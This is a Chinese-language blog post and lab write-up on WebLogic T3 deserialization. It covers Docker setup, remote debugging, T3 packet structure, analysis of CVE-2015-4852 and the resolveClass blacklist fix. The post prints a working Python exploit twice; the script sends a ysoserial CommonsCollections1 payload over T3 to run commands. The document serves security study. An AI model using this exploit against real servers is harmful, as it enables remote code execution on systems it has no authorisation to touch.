Weblogic学习(一): 初识T3反序列化

0x00 前言

Weblogic 也算是使用范围非常广的中间件了,同时在之前面试的时候也经常被问到,但是由于没看过就直接哑巴,然后在平时遇到的时候都是脚本小子工具一把梭哈(梭哈不出来就代表没有漏洞 orz),在 Weblogic 的反序列化漏洞中主要是 XMLDecoder 和 T3 ,所以就先来学习一下 T3 反序列化

0x01 环境安装

这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦

链接:https://github.com/QAX-A-Team/WeblogicEnvironment

下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html

Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

image-20210515204009536

镜像构建

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

至此我们的 Weblogic 就运行起来了

image-20210515204249974

远程调试

那么环境起来了之后我们需要配置远程调试,首先我们要将 Weblogic 的一些依赖从 docker 中拉出来

mkdir ./middleware

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

image-20210515214045598

我这里直接利用 IDEA 打开了 wlserver 文件夹

image-20210515214158356

然后将导出的依赖进行导入

image-20210515214255769

在我们打开的项目中将 server/lib 作为依赖进行导入,这样我们的 jar 包就都能打开了

image-20210515214340561

依赖导入完成之后,配置页面添加 Remote 然后端口修改为 8453

image-20210515214521821

当看到 console 中出现如下那么就说明成功了

image-20210515214627629

断点调试

测试一下远程调试是否生效

mac下按两下 shift 呼出搜索洁面,搜索 WLSServletAdapter 类

image-20210515215115289

然后在第129行处左右打上断点

image-20210515215259270

访问 http://localhost:7001/wls-wsat/CoordinatorPortType ,发现在断点处成功拦截

image-20210515215338359

至此我们的调试环境就已经配置完毕了

0x02 T3协议

T3协议简介

T3 协议是 Weblogic RMI 调用时的通信协议

RMI 即远程方法调用,我们可以远程调用另一台 JVM虚拟机中对象上的方法,且数据传输过程中是序列化进行传输的

如果对 RMI 没有过实现了解的话可以去看一下我之前写过的一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/geuf6a

Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本

奇安信 A-team 的师傅写过一篇很不错的关于 Weblogic 的文章,感兴趣的可以去看看

文章链接:https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

调用流程

这里我们以 CVE-2015-4852 的例子来看一下

Ps: 这里我的环境是 jdk 7u21 所以用的是 CommonsCollections1 ,链选择根据自己实际情况来

Poc

from os import popen
import struct # 负责大小端的转换 
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "/Users/xxxx/tools/ysoserial/ysoserial-master-d367e379d9-1.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        return  
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)
if __name__ == "__main__":
    ip = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

运行之后会显示 Weblogic 版本,同时在 docker 的 /tmp/ 下创建 success

image-20210516211813511

image-20210516211900660

打完 poc 之后打开wireshark,设置过滤规则为 tcp.port == 7001 即可看到我们的数据包

image-20210516211955133

右键 -> followd -> TCP Stream 即可看到数据包

发现首先会发一个试探包 t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n , 然后 Weblogic 会回应 HELO 和自身的版本,然后接下来是我们的 payload 的数据包

image-20210516171858141

数据包组成

我们重点来关注 payload 那个数据包的组成,也就是下图红框部分

image-20210515170359800

主要有以下几个部分组成:

【数据包长度】【T3协议头】【反序列化标志】【数据】

通常在反序列化数据包中,ac ed 00 05 是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00 ,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05

image-20210516212914150

现在回过头来分析我们的 Poc 组成

在 Poc 中首先会发送握手包,如果检测到了对应的返回就输出,反之就直接返回不执行后续代码

image-20210516214515217

这部分对应的是数据包中的

image-20210516214631220

然后正则匹配到返回信息时,将我们的 payload 添加到对应的位置 也就是 fe 01 00 00

首先利用 00000000 对开头的长度先进行占位,然后再后面拼接不会改变的 T3 协议头和 反序列化标志,然后再将 ysoerial.jar 生成的 payload 拼接到最后

然后计算长度并将其转化成小端数,对前面的占位进行替换

image-20210516215116180

ps:wireshark 右键 as a Hex Stream 直接可以复制出来

image-20210516100714000

接下来正式开始分析 T3 反序列化 233

0x03 漏洞分析

参考链接:http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

CVE-2015-4852

漏洞点在 weblogic.rjvm.InboundMsgAbbrev#readObject 中

image-20210516193153610

Ps: 建议使用搜索,这样能够快速

image-20210516193408782

可以发现调用了子类 ServerChannelInputStream 的 readObject 方法

image-20210516194558813

那么我们来看一下子类 ServerChannelInputStream ,该子类继承自是 ObjectInputStream ,同时重写了 resolveClass 方法,但是可以看到并没有做任何防御

这里看到重写的 resolveClass 中最开始还是调用父类的 resolveClass

image-20210516194707609

至此我们的反序列化点就有了,那么既然有了反序列化点,我们的 gadget呢?

搜索依赖,发现正好有我们的老朋友 CommonsCollections 3.2 同时也是存在漏洞的版本

image-20210516195355383

有了 gadget 有了反序列化点 然后我们的 jdk 为 7u21 ,可以直接用 cc1 来打

直接将我们的 payload 打过去

from os import popen
import struct # 负责大小端的转换 
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "/Users/wujialiang/tools/ysoserial/ysoserial-master-d367e379d9-1.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        return  
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)
if __name__ == "__main__":
    ip = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

成功在 tmp 下创建了 success

image-20210516195107034

resolveClass

参考链接:https://www.anquanke.com/post/id/226070#h3-13

前面说到在 resolveClass 中没有做防护,以及 Weblogic 后续的补丁都是在 resolveClass 中进行防护的,所以我们这里来看看

原生 readObject 内部流程如下:

image-20210516220556437

那么为什么要在 resolveClass 处,而不是别的地方?

这里的 readClassDesc 是获取类描述

image-20210516221512605

desc 的内容主要是 全限定类名和 serialVersionUID

image-20210516223711224

这里 switch 根据 tc 对应的值进入对应的方法

image-20210516221617892

在 checksRequired 中调用了 resolveClass,我们跟进进行关注

image-20210516221636745

发现在 resolveClass 函数中,从类描述中获取到了全限定类名,然后利用反射根据全限定类名来获取到对应的 Class 对象并且进行返回

image-20210516144801374

所以当我们重写 resolveClass 的时候,我们在这里添加一个 类名的黑名单,如果发现类在黑名单中就抛出错误,那么就可以在一定程度上拦截反序列化攻击了

CVE-2015-4852 修复

这里借用李三师傅的图,因为俺手里没补丁

发现在调用父类的 resolveClass 前增加了一个判断,如果在黑名单中那么就抛出错误

image-20210516222316535

image-20210516222453511

但是众所周知,黑名单并不是一种很好的修复手段,会存在绕过黑名单的情况,事实证明后续确实有一系列的绕过

(等俺有了补丁之后再写后续,因为 oracle 的补丁好像只有买了他们产品的才能下载)

0x04 总结

终于也算是对 Weblogic 学习进行了一个小小的开篇吧,之前面试 Weblogic 被问到很多次,也足以说明 Webgloic 的使用范围广

最后感谢李三师傅,奶思师傅以及A-team师傅的文章和工具

李三师傅文章链接:http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

奶思师傅文章链接:https://www.anquanke.com/post/id/226070#h3-13

A-team文章链接:https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注